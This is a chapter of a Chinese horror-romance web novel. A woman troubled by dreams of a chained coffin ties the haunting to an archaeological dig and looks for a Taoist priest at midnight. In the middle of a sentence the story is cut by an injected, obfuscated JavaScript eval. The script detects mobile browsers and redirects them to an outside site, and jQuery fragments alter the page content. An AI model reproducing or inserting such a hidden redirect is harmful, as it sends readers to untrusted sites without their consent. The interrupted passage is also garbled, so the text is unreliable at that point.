10. 做贼

作品:《开棺见喜

    真是操了。


    游听雨看着头顶亮着光的吊灯,心脏还是剧烈地跳动,久久才缓和下来,又被吓醒了。


    家里哪来的红木棺材?她转了一圈,反正是没看到……等等?!


    那个鬼东西该不会是她梦里的那个吧?


    游听雨皱眉,脸色有些难看,这是见现实里没吓到她,就跑她梦里来吓她?


    也不对。


    思索了一瞬,游听雨又否定了这个猜测,最开始察觉不对劲,是在火车上,那个时候这鬼东西就已经存在了。


    火车上,先是梦里被锁链锁着的棺材,再是被吓醒后手机上莫名出现又消失的短信,然后又是通过保镖好友时耳机里在喊她的小名。


    接着下火车,回家路上,遇到诡异阴风,道士出现,阴风停止,道士给她符纸。


    到家,符纸全烧没了,道士用鸡血画符,但没用。随后,水龙头传来奇怪声响,最后以灯泡坏了收尾。


    以及刚刚梦里锁着棺材的锁链完全断裂,里边的尸体好像要爬出来了……


    操了。


    游听雨拳头紧了紧,还好她怕鬼,被吓醒了,要不然真就见到完整诈尸场景了,可怕恐怖片……话说都在她梦里了,为什么还能吓到她?


    或许下次可以试试保持冷静控制梦境……算了,这种恐怖片还是不要有下次的好。


    一瞬间,游听雨的脑海里闪过无数思绪,所以红木棺材里装的是谁……等等,棺材,考古专家?


    突然,游听雨猛地瞪大眼,抓到了事情的关键点,不准碰家里的红木棺材?这是在警告她不要带考古专家去挖它的墓吗?


    可是旗墨寨考古工作已经进行了好几年了啊?现在来警告她?不是,等等,凭什么警告她?又不是她挖的,她还什么都没做呢!


    想到这,游听雨眉头一皱,立马拿起手机开始搜索旗墨寨考古最新消息。


    [据悉,6月28日,旗墨寨考古团队在燕京大学考古系学家兼华国考古学会理事张择京教授的带领下……]


    游听雨一看到那冗长且没用的头衔,就感觉脑瓜子嗡嗡的,她火速跳过一些没用的废话,开始寻找关键词。


    [发现了一封帛书……]


    [……历史记载上从未出现过的文字]


    [专家们还在攻克中……]


    [或将改写古文明……]


    帛书?原来是这样吗?


    游听雨眼皮微敛,目光集中在了手机屏幕上的“帛书”二字。


    新闻报道没有说帛书的细节,略过废话的人话版就是:


    考古团队前几天在旗墨寨发现了一份帛书,帛书上的字是一种新的文字,历史上从未出现过,专家们也不识字。


    帛书的年代未知,经过初步判断,据今起码有三千年,甚至更久。


    嘶,等等。


    游听雨咬着唇,突然想起了她三年前写的那个故事,以阿婆给她讲的故事为基础胡乱编的,一开始就是以几个盗墓小贼为线索,然后引出千年前的凄美爱情故事……


    现在这个走向,旗墨寨这附近绝对有个墓,说不定真是阿婆故事里那位不知名姓的旗墨寨的王,专家考古……该不会真要考古出一段跨越千年的凄美爱情故事吧?


    这走向……不至于这么巧吧?


    游听雨咬着牙,表情有些一言难尽,她真是疯了,这小说都是她胡编乱造的,虽然里边融入了一些老一辈人口口相传的民俗故事,但也不至于小说照进现实啊!


    尽管她写的小说里有盗墓贼和闹鬼的情节,但是她还没盗墓、哦不,是考古呢。


    这鬼也没必要先报复她吧?


    胡思乱想了一阵,游听雨点开微信,开始查看消息。惊吓忙碌了一天,她原本是想好好休息一下,等到情况明朗再去处理工作上的相关事宜。


    但现在这情况,她不得不问那些专家教授们,他们到底在旗墨寨发现了什么,到底把谁的墓掘了,以至于人家做鬼还要缠着她,做梦都要恐吓她。


    正思索着,她就看到了小谢给她发的消息,专家要请她见个面,问她什么时候有时间。


    看着手机上的时间,00:00。


    游听雨眨了眨眼,回:择日不如撞日,今天吧。


    这鬼应该弄不死她吧?


    游听雨沉吟一瞬,她感觉这鬼也弄不死她,要是它真想弄死她,那她早就死了。


    现在估摸着是在警告她,至于警告的原因,她严重怀疑是考古学家惹的祸。


    谢梓乾看着游听雨发来的消息,有点懵地问:今天?


    都这么晚了,还要那些上了年纪的老头子摸黑赶夜路跑到旗墨寨去吗?这不是虐待老人吗?


    游听雨一看小谢这疑问句,就知道他肯定误会了自己的意思,只道:现在已经是新的一天了。


    回答完小谢后,游听雨找到叶恩教授保镖的微信,发了句:帮我问问教授,你们最近在旗墨寨考古发现了什么?要详细一点的信息,不要网上可以公开的。


    毕竟这么晚,老头子可能睡了,也可能不看手机,但老头子的保镖应该是会保持清醒和警惕的吧?


    不过这保镖顶着个中老年人常用头像,她有点摸不清他到底多大年纪。


    算了,随便问一下吧,现在最主要的还是先解决眼下这情况,去找那个道士问问,这个棺材的主人到底是何用意。


    想着,游听雨掀开了身上盖着的薄被子,穿上拖鞋,打开手机自带的手电筒,往卧室外走去。


    看着外边被手电筒照亮的一方小天地,游听雨抿了抿唇,感觉自己这摸黑找人的行为好像有点诡异,怎么跟做贼一样呢?


    但……这是她家,所以,她在自己家怎么也跟做贼一样?


    而且这半夜摸进别人卧室的行为……


    真的好像那种……采花大盗。


    好邪恶啊。


    可她没有小风道士的微信,不能给他发消息,而且阿婆也睡了,她不能太大声去叫他。


    *


    夜半,风在洲正盘腿坐于床上。


    房间内的灯是熄灭的,他已经画好了符咒、布好了简易法阵,就等着那邪祟主动现身,他好与其沟通较量一番。


    “嘎吱——”


    房门响了,风在洲眉心一动,心中暗道,来了!


    *


    游听雨本想敲门,结果手刚碰上门板,它就缓缓移动,露出了一道大的缝隙。


    咦,没关门?


    游听


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287158|166954||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    雨懵了一下,紧接着发现里边漆黑一片,睡了?


    那她这种行为岂不是更像对人图谋不轨的采花大盗了?


    真糟糕。


    游听雨紧抿着唇,要是真被误会了,她干脆一头撞死好了。小风的清白重不重要她不在乎,但是她挺珍惜自己的名声的。


    算了,既然睡了,那她还是不打扰了。


    游听雨想了想,便打算原路返回。


    虽然这道士说着等子时再看,但是他自己先睡了,倒也挺不靠谱的。


    不过子时是23点至次日1点,现在0点多,或许他觉得没什么危险所以就睡了?


    当然,也有可能他被鬼攻击晕死过去了……如果是这种情况,那她要救吗?


    最近的道观离这也有一个小时的路程,她要背着这家伙走一个小时,那岂不是人已经凉了?


    但是真死她家也不行啊,这里没监控,到时候她百口莫辩啊!老天,不能平白无故污了她的名声啊!


    真是完蛋。


    正打算回房间的时候,游听雨脑海里突然冒出来一些稀奇古怪的想法。


    设想了种种可能后,她发现最可怕的不是鬼神,而是人间律法——淦!


    游听雨垮着脸,轻声叹息了下,还是举起手机,准备去看看风在洲还有气没。


    突然,门“唰”的一下被拉开,一道清冽的嗓音自黑暗中响起:“你在这做什么?”


    靠!


    游听雨呼吸一滞,心脏在刹那的紧张窒息后开始疯狂跳动,像是后知后觉般,“你没睡啊?”


    “没有啊。”


    风在洲看着举着手机的游听雨,有些不解,他还以为那个邪祟要来他房间了,因为他布的是简易招鬼阵。


    他屏息凝神等待了许久,结果门只是“嘎吱”一声响,开了一点,但什么邪气都没有。外边似乎还有脚步声,可房间里始终静悄悄的,没什么动静。


    风在洲实在疑惑,便走了出来。


    看到站他门口发呆的游听雨,他更疑惑了,这是做什么,“你遇到什么事情了吗?”


    想了想,风在洲只能想出这个可能。


    “对。”


    见风在洲没有想歪,游听雨莫名松了口气,同时压低嗓音,指了指隔壁房间,“你小声点。”


    下次做事前还是不要胡思乱想了,刚刚那种做贼心虚感,简直就是莫名其妙。


    “那要进来讲吗?”


    风在洲明白了游听雨的意思,从善如流地压低了嗓音,指了指自己的卧室。


    “行。”


    游听雨小声应道。


    没成想,话音刚落,屋外狂风大作,“呼呼”地拍打着房屋窗户。风在洲卧室的窗户没关,被刮的“啪啪”作响。


    冰冷粘稠的触感悄然爬上了游听雨的后颈,刺得她汗毛直立,耳边似乎有人在吹气,话语模糊又清晰地直到她的大脑:“小拾…怎么带野男人…回家、了……”


    带着些幽森的腔调,直叫她浑身起鸡皮疙瘩。


    “你有没有……听到什么声音?”


    看着一动不动的风在洲,游听雨咽了咽口水,脑海里突然回想起之前看过的恐怖片——你身边的人,在不知不觉中,就被鬼给替换了。